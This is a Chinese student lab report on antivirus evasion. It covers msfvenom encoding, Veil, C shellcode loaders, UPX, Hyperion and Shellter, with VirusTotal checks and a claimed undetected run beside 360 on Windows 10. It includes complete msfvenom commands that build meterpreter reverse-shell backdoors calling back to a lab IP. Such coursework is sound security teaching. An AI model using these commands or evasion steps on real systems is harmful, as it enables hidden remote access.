20175122邱昕网络对抗技术exp3《免杀原理与实践》
1. 实践内容(4分)
1.1 方法(3分)
- 正确使用msf编码器(0.5分),
- msfvenom生成如jar之类的其他文件(0.5分),
- veil(0.5分),
- 加壳工具(0.5分),
- 使用C + shellcode编程(0.5分),
- 使用其他课堂未介绍方法(0.5分)
1.2 通过组合应用各种技术实现恶意代码免杀(0.5分)
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)
1.正确使用msf编码器
使用VirusTotal或Virscan这两个网站对实验二中生成的后门程序5122backdoor.exe扫描
用msf编码器对后门程序1次编码,用VirusTotal或Virscan这两个网站检测
10次编码
可见多次编码对于免杀没有太大的帮助
因为shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,杀软只要找到了这一部分,就能查出这是恶意代码。而且msfvenom总以固定的模版来生成exe文件。它所有生成的exe文件,如果使用默认参数或者模版,也有一定的固定特征,所以一般来说AV厂商会针对msf使用的模板生成特征码
侦测,这样就能解决所有msfvenom生成的恶意代码了。
2.msfvenom生成如jar之类的其他文件
使用msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.81.130 LPORT=5122 x > java5122backdoor.jar生成java后门
生成php后门程序 msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.81.130 LPORT=5122 x > php5122backdoor.php
生成apk文件msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.81.130 LPORT=5122 x > apk5122backdoor.apk
3.veil的安装及生成后门程序
关于veil和wine的安装道阻且长,由于过于坎坷没有截图,可参考同学们的博客,云班课中的讨论,csdn中的资料等等,反正各种方法我都试了,克隆是最慢的,wine是最常出错的,最后我也没明白自己怎么成功了,提一句,在克隆的时候把防火墙3600打开会快一点,原理不明。总的来说这一步应该是最麻烦的,无论哪个同学这一步都是出错最多的地方
第一次成功的截图已经半夜一点多了,装的我心力憔悴,先睡了明天早上还有课
进行一系列的设置
上传网站检测
4.使用C + shellcode编程
用msf生成一段shellcode
vi 5122.c创建c文件并将shellcode放进去
i686-w64-mingw32-g++ 5122.c -o c_shellcode5122.exe编译为可执行文件
检测
5.加壳工具
压缩壳:upx
进行检测(吐槽一下virscan,老是传不上去)还是能检测出来
加密壳:hyperion
将upx5122.exe文件复制到hyperion文件夹中
用wine hyperion.exe -v upx5122.exe hyperion5122.exe进行加壳
检测出来了,失败
shellter的使用
将nc.exe移到kali目录下
检测出来了,失败
6.通过组合应用各种技术实现恶意代码免杀
这里我用的是veil的其他方法,并进行加壳操作
加壳操作截图省略,过程参考上面
检测
setup.py的检测
runme.bat的检测
和杀毒软件能够共生
7.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
win10,360
8.基础问题回答
(1)杀软是如何检测出恶意代码的?
有基于特征码检测的,有基于行为检测的,
特征码:如果一个可执行文件含有一段或多段特征码,就会被认为是恶意代码
行为检测:如果一个可执行文件莫名其妙连到一个奇怪的ip,无论是回连还是被动连接都可能会被认为是恶意代码
(2)免杀是做什么?
让恶意代码不被木马发现或没那么容易发现
(3)免杀的基本方法有哪些?
改变特征码,
压缩壳,加密壳,shellcode编码,veil
改变连接方式
尽可能多的使用回连即反弹式连接、使用隧道技术、加密通讯数据
9.实践总结与体会
到现在为止最难的一次实验吧,从veil的安装的频频出错,到杀软不断的把自己排列组合出来的后门程序检测出来,都挺难的,还好最后成功免杀了,最后说一句,360真垃圾。
10.开启杀软能绝对防止电脑中恶意代码吗?
不能,全新的恶意代码是几乎没有可能通过特征码来识别的,而基于行为的检测需要的时间更长